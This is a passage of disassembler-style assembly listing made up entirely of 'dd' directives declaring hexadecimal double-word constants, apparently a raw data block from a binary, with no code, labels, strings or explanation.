		dd 0C1214F7h, 652586CDh, 3B2987E1h, 53AC31BFh, 0C9B96F91h
		dd 0A762E6C5h, 370B5BDDh, 5D484AF5h, 0F12F3874h, 0B03DC29Fh
		dd 55CC8802h, 0E22F5AFCh, 1537F9Ah, 963B98ECh, 515209A8h
		dd 13BE108h, 3E5BE4C2h,	28D67C72h, 1CC108EAh, 3816715Eh
		dd 0A91D252Fh, 8268C2DFh, 255A94Eh, 777CBA28h, 255C5239h
		dd 98F4FCA4h, 7A9D7CBAh, 35C32788h, 0E55F6C11h,	0BDB63E2Bh
		dd 0BC3D5012h, 82BFD218h, 52570503h, 5DF88196h,	2D54A02Eh
		dd 378B81A5h, 0B54D75B7h, 1980FDA2h, 72276855h,	0E4C61Eh
		dd 33B9515Bh, 0E9212E7Ch, 55DA6932h, 54FFC1E6h,	97F0BC3Ah
		dd 0AB4E768Bh, 0FB687590h, 0A97AE146h, 0A105C13Fh, 1D00877h
		dd 72D50D0h, 4ED52EE9h,	0B6C1527Ah, 8AA16AFEh, 9BC284C3h
		dd 66EC5D75h, 55998B9Fh, 0EF20DB16h, 68960B7Dh,	951A18AFh
		dd 3B876AA9h, 527B65E9h, 324AF091h, 80591FCh, 4904685Bh
		dd 0F25321CCh, 0C5421BDDh, 19B21E33h, 95804FF1h, 0BF6A6571h
		dd 0D54B0490h, 0B870E961h, 0DBC44E22h, 0A486B9EEh, 0C58044A8h
		dd 4E7E7C2Ah, 57FD292Ch, 57960820h, 58C25652h, 688009C7h
		dd 702A5E8Dh, 74E9542Eh, 50015492h, 0F005EF68h,	0CDD05843h
		dd 0B12B5E41h, 260F3F78h, 4E3EDE28h, 49BAC89Ch,	8CDE47FDh
		dd 0C114E7DEh, 6824E162h, 0D977B345h, 0F96E3615h, 5538BB0h
		dd 0E6036C83h, 91752D41h, 2F306408h, 3A5D8185h,	0C2E9FD35h
		dd 2A9C1A1h, 0A2C85D01h, 56258F0Dh, 41AE7959h, 87FB92E9h
		dd 0C608F78Dh, 67ACC4D4h, 6A99A24Ah, 0D713FD58h, 0CB6661E1h
		dd 0A863D192h, 0C2559696h, 0A41684AAh, 0B26201D6h, 40DBF71Ch
		dd 3E5C85CFh, 48936B28h, 0A7BDF877h, 35960C3h, 5EB70518h
		dd 0B1D12DD6h, 7614BCC0h, 4AF4725Fh, 4861FA0Ah,	68C4737Dh
		dd 0D30097F6h, 282CB128h, 83492831h, 5CA5B00h, 0E7C05916h
		dd 789AD104h, 15A3349h,	2615FE68h, 348C5854h, 0C3E1F1C6h
		dd 0F522AB0Eh, 17F3C076h, 0C1577F5Ah, 6C6B9218h, 26A82FFBh
		dd 83E129B2h, 0EFE27B21h
		dd 0D64C7413h, 68E8F8FDh, 9206FC3Eh, 4DEDA61Ah,	2CBE610h
		dd 116449BFh, 7869FF9Ah, 5E662CB7h, 1D838EC7h, 0D9FF8523h
		dd 204EECEFh, 90CF1C9Dh, 50D67334h, 4115AA5Bh, 72E86E92h
		dd 0F38C8713h, 0DD0F16F7h, 6F20CDFEh, 8D59780Ah, 0A127FAA7h
		dd 7DEC4F01h, 0EEF8B76Eh, 7540B998h, 99E62580h,	78C608E0h
		dd 0A8401EB0h, 4F5F5F5Ah, 0AA85E838h, 15C8C89Ch, 8F30804Ah
		dd 3931F8C7h, 0FBA8A6EFh, 350B95DDh, 31A44F5Dh,	6216B74Ch
		dd 0E149770Dh, 0B652016Fh, 5AF188E8h, 0A2FAF46Bh, 54AFCCB4h
		dd 325889A4h, 83F6147Dh, 0F5C6F296h, 0F0251779h, 0F19859DDh
		dd 9601B948h, 0BA0EF12Dh, 4E1B787Bh, 0EE2604EEh, 978013C1h
		dd 4A813089h, 0C3C6C021h, 0A33069CCh, 9BF31137h, 68C93F3Fh
		dd 83A4EB02h, 4D54B6Bh,	0BCAE94E0h, 0C48DDEC7h,	0FBFC14BBh
		dd 9CEEB731h, 22B58E9Ah, 0CB5E4EBDh, 80C225E2h,	80DD31C2h
		dd 3E68DA09h, 80FB9928h, 0EDC0BBB5h, 0A1E68003h, 88706C0h
		dd 0FF5159EAh, 0CCC6AE41h, 0C4CDA36Fh, 0F7043F6Dh, 0FF1880D2h
		dd 42251C49h, 27C5DD89h, 6B5BED82h, 1CE2DF7Ch, 8091662h
		dd 955C335Eh, 0C9128C53h, 74250080h, 27AE005Eh,	7EF6BD55h
		dd 0C4B77D37h, 8DFD2550h, 0E5687B11h, 31C19771h, 0CA5EE0E8h
		dd 0E3680B8Ch, 0C13F1A6Eh, 636CD2CEh, 82FB712h,	7430CE0Bh
		dd 4A962B4Ah, 4D57EE10h, 3C160052h, 41A39AFBh, 0E4DE311Dh
		dd 3B1A4575h, 9F6D129h,	0D6C57F08h, 5984620Bh, 73E2777h
		dd 0DA9D4C9Ch, 8ABBD156h, 77389A7Dh, 0BBC8AD74h, 7FE0088Bh
		dd 46F268C8h, 629E709Fh, 0EDE95A01h, 0C05CCD48h, 2C83EC4Ch
		dd 5897E9D4h, 45131CB8h, 0C4FE1756h, 0A4CFFE1Fh, 85D65727h
		dd 9F624058h, 0AEF45ACCh, 7A4605Fh, 20AC417Eh, 5B4FDF43h
		dd 64982BF6h, 0A256A4E9h, 9BA3E43h, 5FA92E5Ah, 48CB3060h
		dd 824BE5BCh, 976B97h, 6802C183h, 2D85FB5Eh, 2BCE3DEAh
		dd 9D2A3F9Dh, 0AF8B7E74h, 5ACFD510h, 4BD3FFCAh,	0E7FE4089h
		dd 4BBF0EB9h, 8B05CE4Dh, 838F0F75h, 0F2555EBAh,	2F7A5E01h
		dd 2DFC41D8h, 35E918C5h, 525191ADh, 53E45F29h, 74EA05A5h
		dd 833E813Ah, 0F2106456h, 1E256F7Ch, 96C5747h, 3096D3E4h
		dd 272F9388h, 0F18044FCh, 96ACD4E4h, 95DF9831h,	0B5AC9677h
		dd 0C7822C4Ch, 57C1325Fh, 0D46A4379h, 3869DA02h, 0E3027D06h
		dd 0F2EA23E9h, 90023BDEh, 754865CCh, 0FD9A4343h, 51809471h
		dd 84654FB9h, 32E0B77Eh, 0AB07EE76h, 0E9CD29B1h, 20A9760Eh
		dd 16DC9E72h, 0E733C05Fh, 0E47A643h, 4752AE17h,	747B40Fh
		dd 4C9DA3E5h, 99B51407h, 0E794EE08h, 88125DECh,	0BB8D12FEh
		dd 0F0F26AE2h, 5F51E910h, 688EC897h, 7E117627h,	0C4C62C0h
		dd 0A60CA74h, 16748333h, 0F93B02E9h, 2EBB186Ch,	2D5B0Ch
		dd 1F992910h, 5357D8F7h, 651C6805h, 60EE397Bh, 5BA1F3EBh
		dd 7E59F22Ch, 2FD2E24Fh, 80245EECh, 0D64BAFE7h,	0F7695774h
		dd 5804FEB0h, 51B55D83h, 578CE213h, 89EB3104h, 0CE2C6F74h
		dd 2BA64187h, 0C3E074AAh, 1F4B4CBEh, 0E11774FDh, 0F49DAE56h
		dd 66C9DF73h, 284322FDh, 1054092Eh, 624F82CBh, 277D2C5h
		dd 97335C6h, 7F43EEC1h,	7C3A9D98h, 59290A25h, 63E9618Eh
		dd 0D1202B7Eh, 246D42DFh, 95760178h, 0E90D0A2Ch, 2B2D62A5h
		dd 0AB1E53ABh, 0B89344CBh, 0FF2FE944h, 0E0859F06h, 78F205D9h
		dd 0A8805AA8h, 8F7625B7h, 18C307ACh, 94384587h,	5A174CC4h
		dd 0E95CD828h, 59567F2Dh, 0C06C25E0h, 666E0527h, 0F2EBA20Ah
		dd 7BC120B0h, 573541BFh, 0F1C6D63Ch, 0F504A763h, 69A661CDh
		dd 2D29B9C0h, 34E4C2Fh,	0A5510270h, 63ACE97Bh, 8C4FE5DDh
		dd 0BD46E2CAh, 0EE1FD40Fh, 50154914h, 22B895D5h, 581C6D9h
		dd 59245E7Dh, 0ABBB1397h, 830512C5h, 56F40CE9h,	0ED5297C3h
		dd 0F5A833F0h, 4B4B63B8h, 54A145ABh, 5B374B3Ah,	0BE89BDDCh
		dd 0E24AADh, 0BE0DCEDh,	0E1C99D7Bh, 4EB82C06h, 0A23A4B89h
		dd 4CC0B4B2h, 0CEA42FE9h, 27DE533Ch, 0C6A56AD0h, 5BC10189h
		dd 0D1700C8Ch, 609F2DBh, 5F2E2F3Ah, 0B7881F22h,	0A998DC90h
		dd 9F93D9B7h, 0B5F68053h, 5BFD3001h, 4DB05000h,	0D1E9C0FEh
		dd 61549DD8h, 5120734Dh, 0A84B4FEEh, 65E6C489h,	6B5A6DEEh
		dd 0BEC0F8EDh, 61E26EF8h, 8325E913h, 9FA277E8h,	0B92A1C11h
		dd 34068498h, 5AA279E9h, 0D998BE4Ch, 4E16224Ah,	31C49DBEh
		dd 0F0F83B42h, 0FAE904DDh, 0DA60EE2Bh, 5F62A02Dh, 404FB920h
		dd 37945A07h, 0C9E9500Fh, 0BD6CFB4Ch, 0B45E6A97h, 0C6BE56F7h
		dd 1AACBB01h, 0D5303599h, 0C7410B12h, 0A7F40508h, 4DE782A7h
		dd 44B554C6h, 0E737FE5Fh, 0AAE0A2F2h, 68C2286Ah, 25EA72A7h
		dd 6112C239h, 0BBC02B82h, 709E5C57h, 96B27299h,	9ABC7D9Dh
		dd 70C7E916h, 9EB30F4h,	4E5E28E0h, 14150B7Dh, 0A25F9747h
		dd 299644Dh, 0F241F328h, 5ABE0073h, 16F72746h, 8A02E77Eh
		dd 613DD44Ah, 0F47B05DAh, 0F801F6B5h, 0E9DC0232h, 0AF2F82E0h
		dd 0E0ABF874h, 2512764Dh, 0CF006E5Ch, 124857A5h, 0E504EE9h
		dd 0AFC7431Eh, 0DDF66EF7h, 0F0246E12h, 3D1D5F80h, 0A1744BEBh
		dd 549F0365h, 0EBADC14Eh, 9503B825h, 0E31A04D2h, 0F6122ADCh
		dd 6D657A90h, 422AE989h, 0B5CEDD7Dh, 6F772234h,	0CBBFF281h
		dd 88B6742Fh, 0FE4E5EE4h, 0E90B891h, 1CC2447Fh,	12CE235h
		dd 44BCF905h, 8D6B31EAh, 7236A598h, 3CDF9786h, 0B9F52F31h
		dd 8512A3D1h, 76AC2E84h, 0ACE2BFF4h, 63E04889h,	4412EC05h
		dd 10BB16DFh, 0DC4807C1h, 0D91EFE4Ah, 0F26DBEC3h, 6561A850h
		dd 120597D0h, 0FEDA4D22h, 43537F7Ah, 21BC8416h,	4E6DEE5Ah
		dd 8230E93Eh, 5785681Ch, 4B3CC0D9h, 5AF405FBh, 73D4BB29h
		dd 167CA3EFh, 31ABE8AAh, 248F3635h, 0D122B67h, 5A011DC0h
		dd 6B67BFAh, 13586C20h,	0FA3B0C57h, 0CEB36627h,	0FEBD105h
		dd 1323CB9Ch, 0B4EFC480h, 54485662h, 0FC9779ADh, 2CEB4F84h
		dd 78695D44h, 0E44C57F0h, 0E0C14800h, 3AF73506h, 2D25026Eh
		dd 30A3F102h, 1DB4605Dh, 58D99D2Eh, 0F61CA989h,	49E3AD91h
		dd 23E1CE93h, 0A87EA478h, 1B57F217h, 1706DDA0h,	0EE753D14h
		dd 8DBB9317h, 83822B94h, 71DBF587h, 99294909h, 0DEE5554Ch
		dd 0D9F7C18Ch, 7B1DA856h, 6BF7A3Dh, 4D406686h, 3052FA18h
		dd 0DD0C0862h, 0C1F5E44h, 5FE591E9h, 51DCD038h,	0CC57F99Dh
		dd 0F59E90Ch, 0D7B71732h, 45036A17h, 92D38853h,	6A9579D9h
		dd 0F3CF08ABh, 2F3C7625h, 0E943C1D1h, 3E9B5D0h,	0BE069451h
		dd 0C6680011h, 5867CC24h, 45F00D40h, 350F3879h,	97FC65EBh
		dd 3D445416h, 40EA5250h, 5D391745h, 6A20558h, 80545C55h
		dd 953CB81h, 10F62FBBh,	0ED179760h, 4C8E1B50h, 8F046722h
		dd 0EE2541FDh, 58EEE8A5h, 1FB4057Bh, 8506E4C0h,	5FFAE07Eh
		dd 206F891Eh, 14ED5253h, 196EF4Bh, 0EE4E203Eh, 6E6A8C95h
		dd 750D18E3h, 27330C1Dh, 0B2CF672Ch, 0F631E989h, 0F3FB2F20h
		dd 0C2B8FCAFh, 665755F2h, 6011F286h, 17EECF70h,	4C60F132h
		dd 0AC94710Ch, 89521C14h, 0E9D583F2h, 2C0EB6E2h, 5A0EC80h
		dd 69C058E5h, 2E54347Ch, 31DE8C0h, 9BFDE96Ah, 0A1EB5703h
		dd 0DA3BB345h, 68B9E841h, 77849F72h, 5AE7EB54h,	33BFA45Fh
		dd 5F1A3504h, 57056C01h, 490A14BFh, 809BD52Dh, 847E63CAh
		dd 0E1C14903h, 0C99DC902h, 0C2C58780h, 2910CB2Ch, 321AFD64h
		dd 4D788BA2h, 0AC12B471h
		dd 7F220553h, 0B0994405h, 17FB166Eh, 72C14815h,	9723F527h
		dd 30B10AEEh, 92012D29h, 0A1504BBBh, 4595D7F0h,	59793F8Eh
		dd 0F12DDAD2h, 1758728Bh, 0B73280B5h, 83F93042h, 7058E1A1h
		dd 52816A5Dh, 1634EAD9h, 0F3DF4801h, 8084F924h,	975CD3B8h
		dd 0FA122D0Fh, 2A09736Fh, 96878E6h, 8703E8BEh, 81EE1B04h
		dd 0A6278DBFh, 221C970Ch, 0A7E6027Eh, 0EA6DED39h, 0D8A04014h
		dd 0A19C4A55h, 0ACAE14C1h, 6A1205E3h, 1BE7192h,	0DE1563A5h
		dd 6A206B6Bh, 0F24C4B06h, 2803BA89h, 0E954FDB9h, 0C129038Dh
		dd 2B01CD4Eh, 31AA9F20h, 0E11B4A94h, 0C11E3B67h, 58147565h
		dd 17B8214Ch, 0A3944BEFh, 5AF4DD01h, 5B20C480h,	51E307CCh
		dd 692840B1h, 521764E6h, 0C1BBD5B2h, 3A8CE94Dh,	0DDC7A749h
		dd 9D5A85E1h, 18C9170Eh, 84E8B57h, 0CC20083Ch, 16A1664Ah
		dd 0C8CDB37Bh, 0E791CB29h, 22AC6F50h, 8D622BC5h, 0DF887A7Dh
		dd 2794BC5Fh, 51A4B368h, 64886796h, 0B202662h, 2FDA8D67h
		dd 0CAD7FE65h, 702033EDh, 81BB9D4Ah, 2A3FA85Ah,	3B5C69BEh
		dd 0C7C40337h, 48A0A957h, 42A12522h, 7DD5426Dh,	57E2685Ch
		dd 245951D3h, 159982B8h, 2ADB1917h, 2D17B326h, 1AFCC956h
		dd 2B0B2D5Bh, 4F9AA62h,	5753090Ch, 52796A96h, 936CD626h
		dd 948E4C0Bh, 0EEF8A160h, 0EC1B852Bh, 2CABB5A4h, 0E915C188h
		dd 9CB6DCBh, 71472168h,	44948225h, 0D8AE7005h, 0DBD0D86Bh
		dd 3BF40407h, 0A01EA81h, 0E2D96455h, 33D91ACDh,	0D56C1882h
		dd 2F72A30Eh, 0F9EBA125h, 24A6CA68h, 57BEC336h,	6E4D6C81h
		dd 0B621AC82h, 1AEA82A2h, 5FDC4367h, 98B90457h,	0A2E013ADh
		dd 2E5B4104h, 207DF2A7h, 0CDF62605h, 0FE4DF412h, 2EDFC07h
		dd 5C7619Eh, 556C04A3h,	0B47B3913h, 0A27EEF4Fh,	89F33214h
		dd 45492EE2h, 7872F003h, 0F555A909h, 0AF4B4D79h, 539F6A45h
		dd 0D4C9F7B8h, 542DE37Eh, 22665B34h, 20C253B0h,	509FB71Bh
		dd 330E2122h, 0CD1157AFh, 0E528E6ACh, 0D826A082h, 32A4C017h
		dd 3BC20241h, 717BE951h, 2A2C1759h, 0B5502910h,	28C23880h
		dd 0BA17E154h, 0ADA4D79Eh, 0E9EAA4F1h, 2BED67Fh, 0F6E90848h
		dd 14902B78h, 1A586871h, 5592C53h, 95E84612h, 0BB399BC4h
		dd 0B8DFFFDh, 4C72315h,	43DB2F92h, 0F8B1EB53h, 0A955BC3Bh
		dd 0FD2CEB3Ah, 738C0EF1h, 0E1C9761Ah, 12BAB080h, 30B8D1F7h
		dd 0F720025Ah, 4ED720A8h, 208F297Eh, 457F8D81h,	0A5464460h
		dd 0BC3D3E77h, 25390053h, 5BE94E09h, 45A989B7h,	0E45F253Bh
		dd 0F815A15Ah, 2852AF2Eh, 2AD1DDBBh, 0A7B002ECh, 0E9EA4E7Fh
		dd 807A3B24h, 211EE1A7h, 654D9320h, 0F9311630h,	6DCE071Fh
		dd 0E9EE7C93h, 0C2825647h, 0FA11AE26h, 0EB2B492Bh, 9EB74582h
		dd 67916800h, 4F617A79h, 0BF288406h, 0AF2B140Ch, 5BA9FAF1h
		dd 0ECF2DD8Ah, 14D744BAh, 121DCBFBh, 0B3EE6BFBh, 233984B0h
		dd 0F65AE88Eh, 4B2738h,	75B42D25h, 0E6295BC4h, 4D1D18D4h
		dd 0B6FFEE37h, 0B9746C55h, 0A2622309h, 2D70FE64h, 7C6B7354h
		dd 0B5E9418Ch, 0A7326E63h, 213DE54h, 811502BAh,	256B8140h
		dd 0CBC4599Dh, 0EE424353h, 1D4809BBh, 41622668h, 0FF65D475h
		dd 92D15233h, 0C340283Eh, 2F427ACEh, 42E0BD4Ah,	3812E5BAh
		dd 100B7791h, 704F95Fh,	39D04C8h, 0AEA42CD8h, 0C9A72FACh
		dd 76FE5E89h, 222DE0C2h, 4CC44E77h, 96055CB7h, 6BB1A1FDh
		dd 22C69BCh, 55AE053Ah,	7E48368h, 0DC755DCAh, 0FAE98FA3h
		dd 0F6C0325Ah, 0C99F7293h, 0EBCCB095h, 0B450023Bh, 58E3287Dh
		dd 0F1E7F8FFh, 0FFB50B20h, 0E9A30E84h, 88D4A07Eh, 0E0EDE34Ah
		dd 29B3B493h, 62B8A0A8h, 0D111E3BDh, 0B134C7E5h, 40D6EED0h
		dd 0C905330h, 76F50514h, 0E94BB0DFh, 989392E8h,	6C530991h
		dd 0C4583776h, 3A420497h, 65E9E080h, 89BC96B2h,	1A821FF9h
		dd 0DC42C501h, 4CB7BDC0h, 82F050Ch, 419D5874h, 4CF30B1h
		dd 620909BBh, 0ADBCF17Fh, 0CD6BAB51h, 0E3592CC1h, 9702D788h
		dd 610726F7h, 340C6027h, 40F33065h, 0BD6ABE18h,	60C6760h
		dd 95324E1Fh, 74847861h, 0D496518Eh, 31D4D86Eh,	6E72D73h
		dd 0C42A2632h, 11F114A7h, 8EA29F7Dh, 5529FE14h,	9DA3C683h
		dd 5829102Dh, 377C95D3h, 0F2C11493h, 9CC92D04h,	0A4373679h
		dd 0D7B312FCh, 0F68FF0DDh, 8C535B4Ah, 575B3241h, 47A7339h
		dd 0B45F5DEh, 80BF0959h, 8093B15Ch, 0ACC04BC9h,	3FF118EBh
		dd 0BD15C10Bh, 0F2B2C960h, 40E2282Eh, 5E5E7009h, 41216394h
		dd 3E0D6151h, 5BC81541h, 0A49731D6h, 3ADFA105h,	9A89A41Fh
		dd 234721Bh, 0C7B5B0DAh, 5C61F231h, 60412A7Dh, 205B7F1Eh
		dd 992AC96Eh, 505CD55Eh, 3A95B63Bh, 42E45B6h, 30EC5AFh
		dd 5F73ABE9h, 2437AE2Ch, 0FE5476CFh, 5E9B0465h,	0C4EB2905h
		dd 3604EA20h, 61EA5731h, 2B3D5F37h, 0B3BFB9D1h,	4B418E2Bh
		dd 2127E9ACh, 97E2E077h, 547F48FFh, 7545EE02h, 28D762E5h
		dd 5D160810h, 0AE5F1ACFh, 0C5556F4Bh, 1AD52F4Dh, 0C32E95h
		dd 0B62776BEh, 69A8F43Eh, 255F534h, 0B6B8B08h, 0C2E6CA5Fh
		dd 4022225Ch, 0C2ECFF3Ch, 178DC74Fh, 50E61E3Ah,	25BF0279h
		dd 551E3B64h, 3E62AB03h, 0BF46F5Fh, 0B9C95A66h,	6A66DADDh
		dd 0E2F3D5D6h, 0CFBD5597h, 737F5DA2h, 7602C930h, 7E5D1F99h
		dd 0BE255366h, 4D2F7551h, 0ECE4CB2Bh, 0EC6C1A20h, 0C330185Ah
		dd 1C70B250h, 7BA1AE4Bh, 0D355D243h, 4FACD1Dh, 0B8CC028h
		dd 8295E66h, 612792E5h,	0D1DFEE5Ch, 895772ACh, 77F85AA5h
		dd 27C87D76h, 0B0D4EBA2h, 0AC22EA5Bh, 6C4154A3h, 0B7C36527h
		dd 0FE30811Eh, 0D8F4DB3Fh, 5A583DC5h, 0C0804C74h, 34EB5B70h
		dd 0AE8DAED8h, 0B0422834h, 6E7841C2h, 36EDED04h, 0FF8520Ch
		dd 0D8AD4E3Ch, 0CE832DC7h, 1AB9CE9h, 0E90D4F37h, 0F8564A5h
		dd 68C0B704h, 34EF131Ch, 0BCD8EB3Fh, 2553BC85h,	932D957Fh
		dd 0EA6E595Eh, 58C6C8C8h, 7C0C8B25h, 5EFCC98Eh,	8803C0F2h
		dd 0D770E5CFh, 74BE5A78h, 53B982C6h, 67F148C8h,	8863DB94h
		dd 0A71B114Ch, 8D138422h, 0D304AC00h, 521FD828h, 8352A4B6h
		dd 0E2B9C540h, 0F4307337h, 0E61BCB8h, 0CE4FC188h, 0DD014E26h
		dd 45166804h, 44B21E31h, 704AB893h, 97326301h, 0D00EE955h
		dd 0BE5E4A96h, 0B68A277h, 0F048883Dh, 8E3F57EEh, 58E44AC3h
		dd 497730C2h, 6CB8ED64h, 0E5F860F0h, 4E55DE0Ch,	14F241Ch
		dd 4D386A32h, 74F2F6E9h, 0EF73ED55h, 67AAF578h,	2BB62244h
		dd 70BD680Bh, 45CB5DFh,	65F8E9D0h, 0B9C1A335h, 0CB307B28h
		dd 78F26BE8h, 5AD02C20h, 0EA8D666Fh, 35ED6817h,	0A212EAB3h
		dd 4C58B61Dh, 0CFB94FD7h, 6D38BC4Ch, 0B39066C0h, 3E26F13Dh
		dd 0F8B3DFCCh, 6CE9AB98h, 0F5A8EB5Fh, 3888ABE4h, 249567E1h
		dd 8E465BD1h, 0CFF382C3h, 0F0EE844Dh, 12BDB738h, 1C944103h
		dd 0B7404802h, 0C93E64A9h, 0CD901278h, 206B39AEh, 1005DF5Dh
		dd 2DE9495Bh, 27E18094h, 922736E0h, 9DD65817h, 0CBE7BF1Fh
		dd 4B7E56FDh, 28376308h, 6E5ABD36h, 5C4CDB7h, 0BF32ADE9h
		dd 40B04DC8h, 2007B970h, 4160372Eh, 7BAAE8B2h, 0F093BDD8h
		dd 5965E6BCh, 426809D3h, 0E90C9910h, 108150E9h,	717D8CBBh
		dd 21BA2A3Bh, 8002E6C2h, 1B2C9BCAh, 5E1E689Ch, 31378D73h
		dd 2E42C9C3h, 4F2AA028h, 72F93175h, 0C104C827h,	8105EF00h
		dd 2507D6E7h, 0E4E91923h, 0D897426Fh, 5800D39h,	0D0291E8Ah
		dd 66750011h, 792D532Fh
		dd 73FFEE17h, 0B351B7F0h, 0D7822569h, 0A5DCCA29h, 5860E962h
		dd 0FA054A45h, 0E3306469h, 5EA2F015h, 50E71F6Bh, 0EC824A29h
		dd 5D8F4153h, 6CABDF89h, 499444B0h, 68E16691h, 0BA584EEEh
		dd 0B947C0CDh, 1972758Ch, 5E735A9Fh, 0E6019326h, 0AC7C58BAh
		dd 68FF5313h, 681C5C21h, 0DD25473Dh, 0E797BF9Ch, 0F741B1FBh
		dd 0C513F3D1h, 8A62F7Ch, 0C468521Dh, 0FE126702h, 0B8500820h
		dd 41030088h, 13AA2D71h, 0C13A7E07h, 0EB0478E0h, 2924D5B4h
		dd 3F2340EFh, 0E947BC08h, 0C8AC572Dh, 0E2BD555Bh, 0EE6BFC6Ah
		dd 0BC075AE5h, 0D3A62460h, 617F65A7h, 399096E9h, 1B70D33h
		dd 0F9C11480h, 0E5FFC1D5h, 0F7029A33h, 0BE7E43Bh, 0E4212A74h
		dd 0EC8204D5h, 0D550E7F8h, 27A86014h, 0AC7C91E1h, 61B00D60h
		dd 0BF43D834h, 5DC0837Ch, 0CDB667E9h, 2EACD3DDh, 131BAF5h
		dd 21C6F52Eh, 0D2B16E4Ah, 96EEE86Ah, 0EBE152EBh, 5544121Ah
		dd 0C1098584h, 68625Bh,	4719BBh, 0E3815125h, 103A3E36h
		dd 259F995h, 409A7ADEh,	0F55492FDh, 923D4051h, 34EB4CC8h
		dd 5501CD21h, 0C7CEB62h, 0C4D731E9h, 21D9F730h,	82002A59h
		dd 7E0613ABh, 0CBFB20E9h, 0A2E8C7F6h, 31010D0Fh, 2E35A4F8h
		dd 0BBA94FFAh, 0AB917104h, 0D48CE233h, 72E25E0Bh, 0FC17DAD5h
		dd 60CCAA08h, 7CDDC29Dh, 294C122Ch, 82E10FAh, 13BA1C60h
		dd 5F0E1897h, 960352Dh,	0ACDB023Dh, 88D0DE7Dh, 0C000CF2Fh
		dd 686602E7h, 0D0474BAFh, 8043B079h, 28ACEF0Eh,	0CABABCC7h
		dd 3F768AABh, 0BE988FEh, 0FE88179Fh, 5190AC13h,	273DA3CFh
		dd 93D50110h, 0DA0C051Eh, 0EF6D4C8Ch, 0ED293AF0h, 6FD477C2h
		dd 0E2D15A64h, 860226EAh, 43DB870h, 14D592D0h, 51685342h
		dd 3019F517h, 0A95FEEBBh, 481985F8h, 6858BB42h,	5A3A994h
		dd 20FE5DF9h, 1A3CBD46h, 7079072Fh, 7BE91765h, 1625A336h
		dd 0CA323C34h, 815FC055h, 82415869h, 0BE1A9712h, 0A35B88E3h
		dd 5D518B28h, 7AF424BAh, 0E579E905h, 943F15EDh,	0EB75D140h
		dd 711BCB07h, 0DDD262B9h, 27194C1Dh, 1C68193h, 6875B127h
		dd 9D353273h, 0FD544D91h, 8D1F2F22h, 9971FB00h,	164B0518h
		dd 0E8018B57h, 0D7502D9Eh, 0B2524BA3h, 9B80AC7h, 79748DA5h
		dd 8163D350h, 26F63A5Bh, 6697C501h, 682977ADh, 0E9084049h
		dd 811CC62Eh, 1921F141h, 4DE357F6h, 58BF04CEh, 0FA1C3056h
		dd 5A5B0D26h, 0D83E7A27h, 0FD3500DAh, 0E9A08B05h, 0C59739B3h
		dd 653B0890h, 0B016800h, 9859504Ch, 1F4070D5h, 4256150Fh
		dd 7AD864FCh, 3FEE3C60h, 35955A01h, 3EE9F031h, 0EF29FB65h
		dd 88E875A7h, 0BF4EE926h, 48B7EDC0h, 0F7B60152h, 0F641EE80h
		dd 0ED936ADEh, 0E6D0D9CEh, 7769C6F4h, 0DED0A128h, 0AF675BF2h
		dd 8D20655Ch, 9081816h,	1232CBFAh, 0E4C91573h, 1E8BC6F8h
		dd 5A3F615Bh, 80CD4DEh,	2FF8500Ch, 7FE91009h, 28CFE644h
		dd 1376184Ah, 0ACC443F8h, 6A247D9Dh, 776B7704h,	5B6C8A90h
		dd 8BB87BD6h, 424EEB3Dh, 6AC480D9h, 0EBBFF055h,	42B83F5h
		dd 8153598Fh, 52C0A2Dh,	2AAF5780h, 0DD264CDAh, 0EE3F260h
		dd 1F16F92Eh, 16E140E9h, 84DC2531h, 0BF40BAF0h,	7028AD41h
		dd 8FFA7208h, 0BA505460h, 1F1A49A1h, 9D62158h, 1CECD7C9h
		dd 0C66C272Dh, 443D4F01h, 16410C9h, 0E67A8AB8h,	0E98957D2h
		dd 0B4BFC3FDh, 0F78400AEh, 68F187DEh, 3D3EE433h, 49B4BDC3h
		dd 0A5360338h, 0EA834216h, 160451DBh, 23DD1B1Ah, 0D84C0AFh
		dd 145C662Ah, 75824C1Fh, 89D8AD16h, 0EE5D37FAh,	0A65F1C78h
		dd 58BF9C3Fh, 5925107Fh, 2735136h, 82CB6AF3h, 38F35C10h
		dd 2A5B7EB6h, 78AF45B1h, 0E909545Eh, 4B6A50D1h,	0A71DA85Eh
		dd 0C8BEC334h, 68BFD2D7h, 0BC1735ADh, 0BBFF2FF1h, 69ABF9BCh
		dd 451253BBh, 0C10EADA2h, 0DAF62FB2h, 82C69720h, 36EE5B80h
		dd 3C76321Dh, 2B83E61Ch, 16EB2A56h, 897E5D6Fh, 17005D5Ah
		dd 366F5FC1h, 640E8798h, 0C0269F77h, 0C7829F3h,	0AD34D247h
		dd 55125090h, 5BA15F13h, 0A2F715D8h, 8179FD0Ch,	2FDCD3E9h
		dd 82495A5Ch, 33540854h, 65F99AC9h, 0CA072E7Eh,	0F0FBCE28h
		dd 76F67028h, 0A31E1EFh, 1A4BC6D7h, 36BA4FE9h, 0FD7AD561h
		dd 80863B22h, 728D02A2h, 0BEE964C0h, 343B23D8h,	0E063962Ah
		dd 0CBD5584Fh, 2E3470F0h, 12DB295Dh, 0D008066h,	8C00594Ch
		dd 48E12D08h, 0F055E1Ch, 140E2180h, 3E41C7FDh, 4287A06Fh
		dd 1FB829F6h, 8B72011Fh, 0A0F87E25h, 5A119008h,	25BEE243h
		dd 0A125F0Fh, 8D1F60F9h, 0AD445FE5h, 0B0161E20h, 0F27497C8h
		dd 172E9188h, 0C6FFA258h, 235AD52h, 8A02B2F7h, 3770091Fh
		dd 684A38FEh, 0F8D68EFCh, 0F8AF1307h, 0F517EEA6h, 3427D04Dh
		dd 60BDEF23h, 170AEB5Dh, 4AAD0CFh, 1784D885h, 0E65AF9B8h
		dd 5A6C2512h, 6F5725C9h, 65B89EF9h, 0A5BF5BAFh,	0E6A87E76h
		dd 235151B2h, 23A8E989h, 0B9E4D08Ah, 7F932355h,	0D345A8F0h
		dd 0BF571200h, 4B5350D6h, 30C0FB26h, 0C5540C47h, 8ACEC03Ah
		dd 1A557B4Eh, 3B7331FEh, 0BE4B5AFCh, 9A8DEA9Ch,	3559FAAh
		dd 2D591894h, 14FF7608h, 5BC3FA8Bh, 75C8B977h, 501F06C0h
		dd 4AE9B2B4h, 0BE010012h, 65EA320Dh, 6D0742B0h,	4E2C7436h
		dd 0A86F670h, 0E9170B9Ah, 0B25D6960h, 0F509C042h, 0AA0C666Eh
		dd 881D0D5h, 0FCA32F5Ah, 0AF6D2E9Ch, 76D21654h,	463508F9h
		dd 14DB973Ah, 0E4822ED4h, 0A15E0422h, 52BA2BE5h, 0BF53FFD4h
		dd 0B49E21BEh, 332C8D1Eh, 6AD8A47h, 95013BC8h, 0BAA35D82h
